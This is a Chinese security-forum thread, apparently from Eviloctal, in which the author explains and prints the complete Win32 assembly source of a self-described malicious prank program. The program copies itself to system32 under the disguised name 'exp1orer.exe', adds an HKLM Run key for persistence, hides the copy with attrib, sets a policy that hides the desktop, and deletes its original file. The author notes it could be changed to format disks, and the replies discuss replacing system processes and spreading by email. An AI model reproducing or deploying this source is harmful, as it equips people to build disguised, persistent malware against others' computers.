发新话题
打印

[原创]恶意程序是怎样写成的 Win32汇编语言编写

[原创]恶意程序是怎样写成的 Win32汇编语言编写

文章作者:asm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

    本来想写个“红色代码Ⅳ”,不过病毒的首要特征,例如API重定位,调用GetKBase 得到Kernel32.dll的基地址,然后再调用调用GetAPIz得到病毒所需要的API,在汇编上实现这些,目前对我来说有难度。在感染过程,要考虑到什么时候感染?感染什么?感染是病毒的核心技术,病毒野蛮地把预定的可执行代码插入到正常文件中,当文件执行的时候,先执行病毒代码,或者添加一些字节。在正常的PE文件中,包括执行代码,头文件信息,数据结构以及描述的各类资源信息,病毒感染文件的时候,并没有把这些也写进去,所以要自己搜索,具体的代码,目前还不能写,但是我会参照别人写的。在传播方面,目前倒是有一个利用邮件附件传播的,在创建Base64编码等方面,我略有缺陷。
    病毒不能完整的写,起码也要来个半斤的,所以,就有了这个恶意程序的编写过程.说到恶意,其实也不恶,顶多是恶作剧,仅是修改了一些注册表,设置为启动,象征性删除一些文件。本来想加入日志钩子,事件发生时,创建一个shutdown进程恶搞,不过在加进去的模块对话框后,程序进入了一个死循环.
     在程序的开头,调用_CreateKey子程序设置了启动的键值:
复制内容到剪贴板
代码:

szRegKey        db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db    'StartPE',0
szStr1        db  "C:\WINDOWS\System32\exp1orer.exe"
这些就是第一步所以设定的.在启动方式中,估计注册表Run启动是最脆弱的,复制到启动文件夹的话,又明显.最好的办法是创建远程线程,然后打开文件管理器explorer.exe插入,并且还能隐藏.有个例子是隐藏窗口进程的,桌面的窗口类是"Progman",我想插进去rundll32.exe,无奈不知道它的类,所以将就些,把目标定位注册表启动,况且这个我掌握的也比较熟悉.
     在开机后,我加入了判断本地时间后发作的代码:
复制内容到剪贴板
代码:

invoke GetSystemTime,offset lpSystemTime
movzx ebx,lpSystemTime.wDay
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)||(ebx == 29)
在win32API中,对GetSystemTime的描述是"在一个SYSTEMTIME中载入当前系统时间,这个时间采用的是“协同世界时间”(即UTC,也叫做GMT)格式",参数只有一个"lpSystemTime",并要定义一个"SYSTEMTIME"结构 "lpSystemTime SYSTEMTIME <?>".如果今天是1,3,5,7,9....,27,29,那么程序在开机运行的时候,就对系统进行了如下操作:复制自己到系统目录[注:这个系统目录,我定义成"szWin        db &#39;C:\windows\system32\exp1orer.exe&#39;,0")所以在windows2000以下的系统,是不能复制的 :(  ]
复制内容到剪贴板
代码:

invoke GetModuleFileName,hModule,addr szDirectory,200
invoke CopyFile,addr szDirectory,addr szWin,FALSE
利用GetModuleFileName获取路径,然后调用CopyFile,复制到系统目录去.接着"call _AttribCmd",调用了"_AttribCmd"这个子程序设置只读,隐藏属性."_AttribCmd"代码描述如下:
复制内容到剪贴板
代码:

_AttribCmd proc
  invoke  GetStartupInfo,addr stStartUp
  invoke  CreateProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
  NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
很显然,是调用了CreateProcess创建一个带szCmdAttrib参数的进程,这样,一些用命令参数的程序,可以这样编程来运行,例如ping,首先设定变量"szCmd db &#39;c:\windows\system32\ping.exe IP -t&#39;,0",描述代码是:
复制内容到剪贴板
代码:

.data
szCmd db &#39;c:\windows\system32\ping.exe IP -t&#39;,0
.data?
stStartUp  STARTUPINFO   <?>
stProcInfo  PROCESS_INFORMATION  <?>
.code
start:
  invoke  GetStartupInfo,addr stStartUp
  invoke  CreateProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
  NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
end start
本来这里就到了全盘搜索exe文件进行感染的时候了,不过这个程序不是病毒,只能象征性搞些恶作剧,我这里是通过修改注册表达到隐藏桌面图表,估计MM是认为感染了病毒 :)
复制内容到剪贴板
代码:

.data
szWriteKey        db      &#39;Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\&#39;,0
szWriteValue db      &#39;NoDesktop&#39;,0 ;键值名称
szDword           dd   1 ;数据
调用了子程序_WriteKey来完成:
复制内容到剪贴板
代码:

_WriteKey   proc   _lpKey
   local   @hKey,@dwIndex,@dwLastTime:FILETIME
invoke   RegCreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
    .if   eax == ERROR_SUCCESS
   invoke   RegSetValueEx,@hKey,addr szWriteValue,NULL,\
           REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
   invoke   RegCloseKey,@hKey
   .endif
   ret
_WriteKey      endp
做完后,这一步就到了传播,呵呵,不过偶没写,就来个"invoke DeleteFile,addr szDirectory"删除,然后也就退出了"invoke ExitProcess,NULL"虽然说恶意程序,但是破坏的地方不多.如果要模拟"万花谷"的破坏方式,也就是禁止了注册表而已,这个完全可以做到.程序的完整代码如下:
复制内容到剪贴板
代码:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc

includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
.data
szWin        db &#39;C:\windows\system32\exp1orer.exe&#39;,0
szCmdAttrib      db &#39;attrib +R +H C:\windows\system32\exp1orer.exe&#39;,0
szDirectory      db 0
szRegKey        db &#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;,0
szRegValue db    &#39;StartPE&#39;,0
szStr1        db  "C:\WINDOWS\System32\exp1orer.exe"
szWriteKey        db      &#39;Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\&#39;,0
szWriteValue db      &#39;NoDesktop&#39;,0 ;键值名称
szDword           dd   1 ;数据
.data?
hInstance dd ?
hModule dd ?
lpSystemTime SYSTEMTIME <?>
osVersion  OSVERSIONINFO <?>
stStartUp  STARTUPINFO   <?>
stProcInfo  PROCESS_INFORMATION  <?>

.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd proc
  invoke  GetStartupInfo,addr stStartUp
  invoke  CreateProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
  NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CreateKey  proc  _lpKey
  local  @hKey,@dwIndex,@dwLastTime:FILETIME
  
  invoke  RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if  eax == ERROR_SUCCESS
  invoke  RegSetValueEx,@hKey,addr szRegValue,NULL,\
       REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据
  invoke  RegCloseKey,@hKey
  .endif
  ret
_CreateKey    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WriteKey   proc   _lpKey
   local   @hKey,@dwIndex,@dwLastTime:FILETIME
invoke   RegCreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
    .if   eax == ERROR_SUCCESS
   invoke   RegSetValueEx,@hKey,addr szWriteValue,NULL,\
           REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
   invoke   RegCloseKey,@hKey
   .endif
   ret
_WriteKey      endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
  invoke  GetModuleHandle,0
    mov  hInstance,eax
   invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
  invoke CopyFile,addr szDirectory,addr szWin,FALSE
  invoke _CreateKey,NULL ;设置为启动
  invoke GetSystemTime,offset lpSystemTime
  movzx ebx,lpSystemTime.wDay  ;获取本地日,你可以判断这个变量就可以了。
  .if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)||(ebx == 29)
  call _AttribCmd
  invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表
  invoke DeleteFile,addr szDirectory
  invoke ExitProcess,NULL
.elseif
invoke ExitProcess,NULL
  .endif
end start
这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个"CreateProcess",但是知道了一种调用方法,其他的也是千篇一律,例如对注册表修改,禁止右键,禁止使用任务管理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用者自己负责,与作者和邪恶八进制无关~~ 呵呵 :)
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

呵呵.鸟鸟分析的不错.建议如果只是恶意的程序的话多分析下目前的流氓软件.能学到不少好东西的.

TOP

Base64?我原来不是写了一个Base编码器在SCT吗?我还带上源码了..你可以去参考下
szWin     db &#39;C:\windows\system32\exp1orer.exe&#39;,0")
这个....  可以不用这样的.不是c:\windows\WINLOGIN.exe可以替换掉么?
那个进程可以替换的.

TOP

呵呵,要通过邮件附件传播,得解决很多问题的,例如搜索磁盘里的邮件地址,然后考虑怎么将自己做为附件发

送,在什么时候发送等等.... [s:66]
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

发新话题